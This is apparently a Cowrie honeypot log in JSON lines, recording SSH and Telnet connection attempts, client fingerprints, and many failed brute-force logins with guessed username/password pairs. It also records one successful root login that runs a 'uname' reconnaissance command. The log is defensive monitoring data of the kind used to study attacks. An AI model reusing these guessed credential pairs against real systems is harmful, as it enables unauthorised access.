{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:07:05.136714Z","src_ip":"2.57.122.96","session":"79de874e2cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"euler","password":"euler","message":"login attempt [euler/euler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:07:05.434551Z","src_ip":"2.57.122.96","session":"79de874e2cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:07:06.546105Z","src_ip":"2.57.122.96","session":"79de874e2cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37424,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ed6c7f8b9c","protocol":"ssh","message":"New connection: 195.178.110.218:37424 (159.203.135.109:22) [session: 23ed6c7f8b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:18.519782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:18.523947Z","src_ip":"195.178.110.218","session":"23ed6c7f8b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:18.603440Z","src_ip":"195.178.110.218","session":"23ed6c7f8b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:18.841794Z","src_ip":"195.178.110.218","session":"23ed6c7f8b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:19.922527Z","src_ip":"195.178.110.218","session":"23ed6c7f8b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":39184,"dst_ip":"10.17.0.5","dst_port":22,"session":"9875c1567bb0","protocol":"ssh","message":"New connection: 119.209.12.20:39184 (10.17.0.5:22) [session: 9875c1567bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:57.510614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:57.515870Z","src_ip":"119.209.12.20","session":"9875c1567bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:57.716668Z","src_ip":"119.209.12.20","session":"9875c1567bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"passadmin","password":"Passadmin","message":"login attempt [passadmin/Passadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:58.552877Z","src_ip":"119.209.12.20","session":"9875c1567bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:08:59.755851Z","src_ip":"119.209.12.20","session":"9875c1567bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":52870,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e2659ae857","protocol":"ssh","message":"New connection: 2.57.122.96:52870 (159.203.135.109:22) [session: 98e2659ae857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:09:55.396494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:09:55.406188Z","src_ip":"2.57.122.96","session":"98e2659ae857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:09:55.564403Z","src_ip":"2.57.122.96","session":"98e2659ae857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigen","password":"eigen","message":"login attempt [eigen/eigen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:09:56.024395Z","src_ip":"2.57.122.96","session":"98e2659ae857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:09:57.130018Z","src_ip":"2.57.122.96","session":"98e2659ae857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60578,"dst_ip":"159.203.135.109","dst_port":22,"session":"c75da788ae36","protocol":"ssh","message":"New connection: 195.178.110.218:60578 (159.203.135.109:22) [session: c75da788ae36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:52.517702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:52.522277Z","src_ip":"195.178.110.218","session":"c75da788ae36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:52.601800Z","src_ip":"195.178.110.218","session":"c75da788ae36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:52.839179Z","src_ip":"195.178.110.218","session":"c75da788ae36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:53.920502Z","src_ip":"195.178.110.218","session":"c75da788ae36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":46926,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c534eb8c7f5","protocol":"ssh","message":"New connection: 119.209.12.20:46926 (10.17.0.5:22) [session: 4c534eb8c7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:55.714131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:55.718881Z","src_ip":"119.209.12.20","session":"4c534eb8c7f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:55.922734Z","src_ip":"119.209.12.20","session":"4c534eb8c7f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db","password":"12345","message":"login attempt [db/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:56.850649Z","src_ip":"119.209.12.20","session":"4c534eb8c7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:58.057244Z","src_ip":"119.209.12.20","session":"4c534eb8c7f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.221.102.97","src_port":36444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7d25a894a54","protocol":"telnet","message":"New connection: 190.221.102.97:36444 (159.203.135.109:23) [session: b7d25a894a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:10:59.609026Z"}
{"eventid":"cowrie.session.closed","duration":13.304211378097534,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:11:12.913136Z","src_ip":"190.221.102.97","session":"b7d25a894a54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":52700,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf8ac836edb","protocol":"ssh","message":"New connection: 162.120.6.20:52700 (10.17.0.5:22) [session: acf8ac836edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:09.980281Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.052182Z","src_ip":"162.120.6.20","session":"acf8ac836edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":52712,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3d76a28c94","protocol":"ssh","message":"New connection: 162.120.6.20:52712 (10.17.0.5:22) [session: fc3d76a28c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.118366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.122403Z","src_ip":"162.120.6.20","session":"fc3d76a28c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.192502Z","src_ip":"162.120.6.20","session":"fc3d76a28c94","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12341234","message":"login attempt [root/12341234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.401304Z","src_ip":"162.120.6.20","session":"fc3d76a28c94","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.576926Z","src_ip":"162.120.6.20","session":"fc3d76a28c94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.579881Z","src_ip":"162.120.6.20","session":"fc3d76a28c94","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.652380Z","src_ip":"162.120.6.20","session":"fc3d76a28c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:10.656823Z","src_ip":"162.120.6.20","session":"fc3d76a28c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":32780,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8d91f590c7b","protocol":"ssh","message":"New connection: 2.57.122.96:32780 (159.203.135.109:22) [session: c8d91f590c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:46.254758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:46.258394Z","src_ip":"2.57.122.96","session":"c8d91f590c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:46.406162Z","src_ip":"2.57.122.96","session":"c8d91f590c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigenlayer","password":"eigenlayer","message":"login attempt [eigenlayer/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:46.707085Z","src_ip":"2.57.122.96","session":"c8d91f590c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:47.809328Z","src_ip":"2.57.122.96","session":"c8d91f590c7b","protocol":"ssh"}
